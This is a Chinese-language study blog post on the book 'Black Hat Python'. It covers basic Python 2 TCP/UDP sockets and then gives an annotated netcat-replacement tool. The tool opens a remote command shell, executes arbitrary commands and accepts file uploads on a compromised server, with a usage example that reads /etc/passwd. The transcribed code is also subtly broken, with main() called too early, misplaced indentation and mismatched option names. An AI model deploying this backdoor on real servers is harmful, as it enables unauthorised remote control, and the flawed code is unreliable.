我最近在看《Python黑帽子》由于这本书的已经是七八年前,所以书里的程序,用Python 3.x编译,够呛能运行

所以还是建议把Path改成Python2.7的,我用的Wing pro 8IDE。

python 灰帽子 英文版 python黑帽子_python 灰帽子 英文版

python 灰帽子 英文版 python黑帽子_TCP_02

改成默认的2.7,就可以运行书里的程序了。

快速创建TCP和UDP服务器及客户端,使用原始套接字

TCP客户端

因为TCP套接字是面向连接的,因此又称为基于流(stream)的套接字。TCP是Transmission Control Protocol(传输控制协议)的简写,意为“对数据传输过程的控制”。

简单的TCP客户端

#python2.7.18
import socket

target_host = "www.baidu.com"
target_port=80

#建立一个socket对象
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#连接客户端
client.connect((target_host,target_port))
#发送一些数据
client.send("GET / HTTP/1.1\r\nHost:baidu.com\r\n\r\n")
#接收一些数据,4096是缓冲区大小
response=client.recv(4096)
print response

先记住吧。。。我也没学过网络编程

socket.socket([family[, type[, proto]]])
  • family: 套接字家族可以使 AF_UNIX 或者 AF_INET。
  • type: 套接字类型可以根据是面向连接的还是非连接分为 SOCK_STREAM (TCP)或 SOCK_DGRAM(UDP)
  • protocol: 一般不填默认为 0。

我认为这个TCP客户端的意思,就是能够主动申请与TCP服务器建立连接。。。maybe

这个socket对象的两个参数,第一个AF_INET是使用标准的ipv4地址或主机名(AF_INET6使用的ipv6地址或主机名)。第二个SOCK_STREAM,这是面向连接的,也就是说这是一个TCP客户端。

UDP客户端

import socket

target_host = "127.0.0.1"
target_port=80

client = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
#将数据发送到想发送到的服务器上
client.sendto("AAAAAAA",(target_host,target_port))
#接收到回传的数据,以及远程主机的信息和端口号
data,addr=client.recvfrom(4096)
print data;

执行之前,我们要开启80端口的监听模式

python 灰帽子 英文版 python黑帽子_TCP_03

 nc -uvlp(u:udp,v:显示运行过程,l:使用监听模式,监管传入资料,p:设置通信端口)

python 灰帽子 英文版 python黑帽子_python 灰帽子 英文版_04

 nc收到了。但是nc没有给我们返回消息

TCP服务器

我们需要将自己的TCP服务端绑定到命令行shell或者创建一个代理(这两个需求以后完成)。首先我们创建一个标准的多线程TCP服务器。

#-*- coding:utf8 -*-
import  socket
import threading

bind_ip = "0.0.0.0"     #绑定ip:这里代表任何ip地址
bind_port = 8888
#仅仅用于监听和接受客户端的连接请求的套接字
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#确定服务器需要监听的IP地址和端口
server.bind((bind_ip, bind_port))
# 最大连接数为5
server.listen(5)

print "[*] Listening on %s:%d" % (bind_ip, bind_port)

# 这是客户处理进程
def handle_client(client_socket):
    #打印出客户端发送的内容
    request = client_socket.recv(1024)

    print "[*] Received: %s" % request

    #发送给客户端数据包
    client_socket.send("ACK!")
    #关闭套接字
    client_socket.close()


while True:
    #client是客户端传到服务端的套接字,不同于sever套接字,服务器与此客户端通信是通过这个新的套接字上发送和接收数据来完成的。addr是一个元组,("地址",端口号)
    client,addr = server.accept()

    print "[*] Accepted connection from: %s:%d" % (addr[0], addr[1])

    #挂起客户端线程,处理传ru的数据
    client_handler = threading.Thread(target=handle_client, args=(client,))
    client_handler.start()

Python 多线程 | 菜鸟教程 (runoob.com)

 client_handler = threading.Thread(target=handle_client, args=(client,))

这行代码的意思是, 创建线程,并调用handle_client函数,参数来自args=(),就是client。同时需要注意的是,args= 后面必须是一个元组,所以才会出现(client,)这个样子。

线程.start()就是开启线程

书中说的,将client这个socket对象作为句柄传入到目标函数中,这里的句柄是linux里的句柄

在Linux中:

1.句柄就是一个标识符,只要获得对象的句柄,我们就可以对对象进行任意的操作。

2.句柄不是指针,操作系统用句柄可以找到一块内存,这个句柄可能是标识符,map的key,也可能是指针,看操作系统怎么处理的了。

有关threading.Thread()的定义

def __init__(self, group=None, target=None, name=None,
                 args=(), kwargs=None, verbose=None):

        """This constructor should always be called with keyword arguments. Arguments are:

        *group* should be None; reserved for future extension when a ThreadGroup
        class is implemented.

        *target* is the callable object to be invoked by the run()
        method. Defaults to None, meaning nothing is called.

        *name* is the thread name. By default, a unique name is constructed of
        the form "Thread-N" where N is a small decimal number.

        *args* is the argument tuple for the target invocation. Defaults to ().

        *kwargs* is a dictionary of keyword arguments for the target
        invocation. Defaults to {}.

        If a subclass overrides the constructor, it must make sure to invoke
        the base class constructor (Thread.__init__()) before doing anything
        else to the thread.

"""

取代netcat

如果我们进入的服务器没有安装netcat,却安装了Python。这种情况下。我们需要创建一个简单的客户端和服务器用来传递想使用的文件,或者创建一个监听端让自己拥有控制命令行的操作权限。如果你是通过Web应用漏洞,进入服务器的,那么在后台调用Python创建备用的控制通道显得尤为重要。这样就不需要首先在目标主机上安装木门或后门了。

import sys
#sys.exit([arg]),退出python后面的语句不再执行,参数0表示成功终止,2表示命令行语法错误
#1表示其他错误
import socket
import getopt
import threading
import subprocess

listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0

def usage():
    
    print "BHP NET TOOL"
    print
    print "usage:bhpnet.py -t target_host -p port"
    print "-l --listen                     - listen on [host]:[port] for incoming connections"
    print "-e --execute=file_to_run - execute the given file upon receiving a connection"
    print "-c --command           - initialize a command shell"
    print "-u --upload=destination - upon receiving a connection upload a file and write to [destination]"
    print
    print "Examples"
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
    print "echo 'ACK!' |  ./bhpnet.py -t 127.0.0.1 -p 8888"
    sys.exit(0)
    
def main():
    
    global listen
    global port
    global execute
    global command
    global upload_destination
    global target
    #如果命令行参数没有的话
    if not len(sys.argv[1:]):
        #就给他背一遍用法
        usage()
        
    #读取命令行选项
    try:
        
        #getopt.getopt返回值由两个元素组成:第一个是(option,value)元组的列表,二者都是str形式。第二个是参数列表,包含那些没有-或--的参数
        #同时中间的字符串格式的是options代表的是-参数,而后面的列表格式的是long_options,代表的是--参数
        #options如果后面必须有附加的参数,则需要在后面加:
        #如果long_options后面必须有附加的参数则加=
        opts,args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute=","target=","command","upload="])
    #如果参数出错,会触发该异常
    except getopt.GetoptError as err:
        print str(err)
        usage()
    #对getopt.getopt()的返回值进行挨个处理
    for o,a in opts:
        if o in ("-h","--help"):
            usage()
        elif o in ("-l","--listen"):
            listen = True
        elif o in ("-c","--commandshell"):
            command = True
        elif o in ("-u","upload"):
            #令下载地址等于a,也就是-参数后面跟的参数
            upload_destination = a
        elif o in ("-t","--target"):
            target = a
        elif o in ("-p","--port"):
            port = int(a)
        else :
            assert False,"Unhandled Option"
            
        #我们是进行监听还是仅从标准输入发送数据?    
        #这个语句的意思是:如果listen,target,port参数均没有的情况下,sys.stdin.read()等待我们输入数据,按ctrl+D结束输入,ctrl+D所在的行,不算入输入
        #并且可以多行输入,会在输入内容的后面自动加上’\n’
        
        if not listen and len(target) and port > 0:
            #从命令行读取内存数据,在按ctrl+D输入的数据都保存在内存当中
            buffer = sys.stdin.read()
            
            client_sender(buffer)
        #我们开始监听并准备上传文件,执行命令
        #放置一个反弹shell
        #取决于上面的命令行选项
            
        if listen:
            
            server_loop()   
main()
def client_sender(buffer):
    #TCP客户端
    client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        client.connect((target,port))
        #如果内存有数据,发送内存数据给目标地址的目标端口
        if len(buffer):
            
            client.send(buffer)
            
        while True:
            
            #现在等待数据回传
            recv_len = 1
            response = ""
            
            while recv_len:
                
                data = client.recv(4096)
                recv_len = len(data)
                response+= data
                #这里我就看不明白了,这个内嵌的循环有啥意思,下面的这个判断语句有啥意义呢
                #接受的数据超过4096就不会结束循环?
                if recv_len < 4096:
                    break
            print response
            
            #等待更多输入
            #这里的raw_input(),会先把()内的内容输出,
            #然后开始获取我们输入的内容,把所有输入当作字符串处理
            #和sys.stdin.read()相似,但是他是按enter键结束,并且不能在最后加'\n'
            #实际上这就是Python3.x的input()
            
            #这里加一个回车,是为了把我们的输入进行处理,这样可以和目标主机的命令行shell兼容
            buffer = raw_input("")
            buffer +='\n'
            
            #发送出去
            client.send(buffer)
    except:
        
        print"[*] Exception! Exiting!"
        #关闭连接
        client.close()
#监听函数,也就是TCP服务器,但是仅具有监听功能,不会回复消息
def server_loop():
    
    global target
    
    #如果没有定义目标,那我们监听所有接口
    if not len(target):
        
        target="0.0.0.0"
    #tcp服务器
    server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    server.bind((target,port))
    server.listen(5)
    
    while True:
        
        client_socket,addr = server.accept()
        
        #分析一个线程处理新的客户端
        client_thread = threading.Thread(target = client_handler,args=(client_socket,))
        client_thread.start()
def run_command(command):
    
    #Python rstrip() 删除 string 字符串末尾的指定字符,默认为空白符,包括空格、换行符、回车符、制表符。
    command = command.rstrip()
    
    #运行命令行,并将输出返回
    try:
        #使用参数执行名命令(command就是args:_CMD参数)
        #在结果中捕获标准错误,请使用stderr=subprocess。STDOUT:
        #shell:如果该参数为 True,将通过操作系统的 shell 执行指定的命令。 
        output=subprocess.check_output(command,stderr=subprocess.STDOUT,shell=True)
    except:
        
        output = "Failed to execute command.\r\n"
    return output
#处理客户端发来的套接字函数
def client_handler(client_socket):
    
    global upload
    global excute
    global command
    
    #检测上传文件
    if len(upload_destination):
        
        #读取所有字符并写下目标
        file_buffer = ""
        
        #持续读取数据知道没有符合的数据
        
        while True:
            data = client_socket.recv(1024)
            
            if not data:
                
                break
            else:
                
                file_buffer += data
        try:
            #	以二进制格式打开一个文件只用于写入。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,创建新文件。一般用于非文本文件如图片等。
            file_descripor = open(upload_destination,"wb")
            #把读取的数据写入文件
            file_descripor.write(file_buffer)
            #关闭文件
            file_descripor.close()
            
            #确认文件已经写出来
            client_socket.send("Successfully saved file to %s\r\n" %upload_destination)
        except:
            
            client_socket.send("Failed to saved file to %s\r\n" %upload_destination)
    #检查命令的执行
    if len(execute):
        #运行命令
        output = run_command(execute)
        
        client_socket.send(output)
        
    #如果需要一个命令shell,那么我们进入另外一个循环
    if command:
        
        while True:
            
            #跳出一个窗口
            client_socket.send("<BHP:#>")
            
            #现在我们需要接受文件直到发现换行符
            cmd_buffer = ""
            while "\n" not in cmd_buffer:
                
                cmd_buffer += client_socket.recv(1024)
            #返还命令输出
            response = run_command(cmd_buffer)
            
            #返回相应数据
            client_socket.send(response)

我们先看一下,引用部分

sys:该模块提供对解释器使用或维护的一些变量的访问,以及与解释器强烈交互的函数。它始终可用。sys.argv:传递给Python脚本的命令行参数列表。(argv 是 argument vector的缩写,表示传入main函数的参数序列或指针)argv[0]是脚本名称(依赖于操作系统,无论这是否是完整路径名)。如果使用-c解释器的命令行选项执行命令,argv[0]则将其设置为字符串’-c’。如果没有脚本名称传递给Python解释器,argv[0]则为空字符串。


getopt:模块是帮助脚本解析sys.argv。Python 命令行参数 | 菜鸟教程

subprocess:Python3 subprocess | 菜鸟教程允许你去创建一个新的进程让其执行另外的程序,并与它进行通信,获取标准的输入、标准输出、标准错误以及返回码等。